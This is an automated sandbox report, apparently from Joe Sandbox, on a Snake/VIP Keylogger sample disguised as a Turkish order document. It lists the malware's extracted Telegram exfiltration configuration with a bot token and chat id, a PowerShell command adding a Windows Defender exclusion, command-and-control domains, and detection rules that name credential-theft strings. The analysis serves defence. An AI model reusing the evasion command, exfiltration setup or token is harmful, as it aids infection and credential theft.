Edit tour

Windows Analysis Report
fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Overview

General Information

Sample name:	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe renamed because original name is a hash value
Original sample name:	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Siparii jpeg docx .exe
Analysis ID:	1586917
MD5:	1579f7d1a5af2d811a9ade177ca3ed73
SHA1:	e126dbb23a1c841a934e5b73bcfebc1c28bd906d
SHA256:	1d35d406169afe6bed77759d2e8e03c858897a7e181e3a83bb013f16c91af4bd
Tags:	exeSnakeKeyloggeruser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe (PID: 320 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe" MD5: 1579F7D1A5AF2D811A9ADE177CA3ED73)

powershell.exe (PID: 4540 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe (PID: 6368 cmdline: "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe" MD5: 1579F7D1A5AF2D811A9ADE177CA3ED73)

WerFault.exe (PID: 7200 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1832 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat id": "-4732682041", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat_id": "-4732682041", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d03b:$a1: get_encryptedPassword 0x2d350:$a2: get_encryptedUsername 0x2ce4b:$a3: get_timePasswordChanged 0x2cf54:$a4: get_passwordField 0x2d051:$a5: set_encryptedPassword 0x2e6f7:$a7: get_logins 0x2e65a:$a10: KeyLoggerEventArgs 0x2e2bf:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc69a3:$a1: get_encryptedPassword 0x1093c3:$a1: get_encryptedPassword 0x14bbe3:$a1: get_encryptedPassword 0xc6cb8:$a2: get_encryptedUsername 0x1096d8:$a2: get_encryptedUsername 0x14bef8:$a2: get_encryptedUsername 0xc67b3:$a3: get_timePasswordChanged 0x1091d3:$a3: get_timePasswordChanged 0x14b9f3:$a3: get_timePasswordChanged 0xc68bc:$a4: get_passwordField 0x1092dc:$a4: get_passwordField 0x14bafc:$a4: get_passwordField 0xc69b9:$a5: set_encryptedPassword 0x1093d9:$a5: set_encryptedPassword 0x14bbf9:$a5: set_encryptedPassword 0xc805f:$a7: get_logins 0x10aa7f:$a7: get_logins 0x14d29f:$a7: get_logins 0xc7fc2:$a10: KeyLoggerEventArgs 0x10a9e2:$a10: KeyLoggerEventArgs 0x14d202:$a10: KeyLoggerEventArgs
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x116bd:$a1: get_encryptedPassword 0x119c8:$a2: get_encryptedUsername 0x114d7:$a3: get_timePasswordChanged 0x115e0:$a4: get_passwordField 0x116d3:$a5: set_encryptedPassword 0x13b6d:$a7: get_logins 0x13ad0:$a10: KeyLoggerEventArgs 0x13739:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1dd12:$a1: get_encryptedPassword 0x1e01d:$a2: get_encryptedUsername 0x1db2c:$a3: get_timePasswordChanged 0x1dc35:$a4: get_passwordField 0x1dd28:$a5: set_encryptedPassword 0x201c2:$a7: get_logins 0x20125:$a10: KeyLoggerEventArgs 0x1fd8e:$a11: KeyLoggerEventArgsEventHandler
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x2e4bf:$a11: KeyLoggerEventArgsEventHandler
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b063:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a706:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a963:$a4: \Orbitum\User Data\Default\Login Data 0x3b342:$a5: \Kometa\User Data\Default\Login Data
5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x2de6c:$s2: SetHook 0x2de74:$s3: CallNextHook 0x2de81:$s4: _hook
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b43b:$a1: get_encryptedPassword 0x2b750:$a2: get_encryptedUsername 0x2b24b:$a3: get_timePasswordChanged 0x2b354:$a4: get_passwordField 0x2b451:$a5: set_encryptedPassword 0x2caf7:$a7: get_logins 0x2ca5a:$a10: KeyLoggerEventArgs 0x2c6bf:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39263:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38906:$a3: \Google\Chrome\User Data\Default\Login Data 0x38b63:$a4: \Orbitum\User Data\Default\Login Data 0x39542:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c065:$s1: UnHook 0x2c06c:$s2: SetHook 0x2c074:$s3: CallNextHook 0x2c081:$s4: _hook
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b43b:$a1: get_encryptedPassword 0x2b750:$a2: get_encryptedUsername 0x2b24b:$a3: get_timePasswordChanged 0x2b354:$a4: get_passwordField 0x2b451:$a5: set_encryptedPassword 0x2caf7:$a7: get_logins 0x2ca5a:$a10: KeyLoggerEventArgs 0x2c6bf:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39263:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38906:$a3: \Google\Chrome\User Data\Default\Login Data 0x38b63:$a4: \Orbitum\User Data\Default\Login Data 0x39542:$a5: \Kometa\User Data\Default\Login Data
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c065:$s1: UnHook 0x2c06c:$s2: SetHook 0x2c074:$s3: CallNextHook 0x2c081:$s4: _hook
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x6fa5b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x6fd70:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x6f86b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x6f974:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x6fa71:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x71117:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x7107a:$a10: KeyLoggerEventArgs 0x2e4bf:$a11: KeyLoggerEventArgsEventHandler 0x70cdf:$a11: KeyLoggerEventArgsEventHandler
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x70685:$s1: UnHook 0x2de6c:$s2: SetHook 0x7068c:$s2: SetHook 0x2de74:$s3: CallNextHook 0x70694:$s3: CallNextHook 0x2de81:$s4: _hook 0x706a1:$s4: _hook
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x6fc5b:$a1: get_encryptedPassword 0xb247b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x6ff70:$a2: get_encryptedUsername 0xb2790:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x6fa6b:$a3: get_timePasswordChanged 0xb228b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x6fb74:$a4: get_passwordField 0xb2394:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x6fc71:$a5: set_encryptedPassword 0xb2491:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x71317:$a7: get_logins 0xb3b37:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x7127a:$a10: KeyLoggerEventArgs 0xb3a9a:$a10: KeyLoggerEventArgs
0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x70885:$s1: UnHook 0xb30a5:$s1: UnHook 0x2de6c:$s2: SetHook 0x7088c:$s2: SetHook 0xb30ac:$s2: SetHook 0x2de74:$s3: CallNextHook 0x70894:$s3: CallNextHook 0xb30b4:$s3: CallNextHook 0x2de81:$s4: _hook 0x708a1:$s4: _hook 0xb30c1:$s4: _hook
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, ParentProcessId: 320, ParentProcessName: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", ProcessId: 4540, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", ParentImage: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, ParentProcessId: 320, ParentProcessName: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe", ProcessId: 4540, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:01:10.974086+0100	2803305	3	Unknown Traffic	192.168.2.7	49706	104.21.112.1	443	TCP
2025-01-09T19:01:16.259787+0100	2803305	3	Unknown Traffic	192.168.2.7	49717	104.21.112.1	443	TCP
2025-01-09T19:01:19.226865+0100	2803305	3	Unknown Traffic	192.168.2.7	49732	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:01:08.878234+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-09T19:01:10.346958+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-09T19:01:12.315945+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49710	132.226.8.169	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:01:30.229729+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49804	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T19:01:23.325700+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	49757	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://anotherarmy.dns.army:8081	Avira URL Cloud: Label: phishing
Source: http://aborters.duckdns.org:8081	Avira URL Cloud: Label: phishing
Source: http://varders.kozow.com:8081	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat_id": "-4732682041", "Version": "4.4"}
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat id": "-4732682041", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49704 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49757 version: TLS 1.2

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Accessibility.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.pdb4 source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Accessibility.pdbar source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdbp source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERADDE.tmp.dmp.8.dr

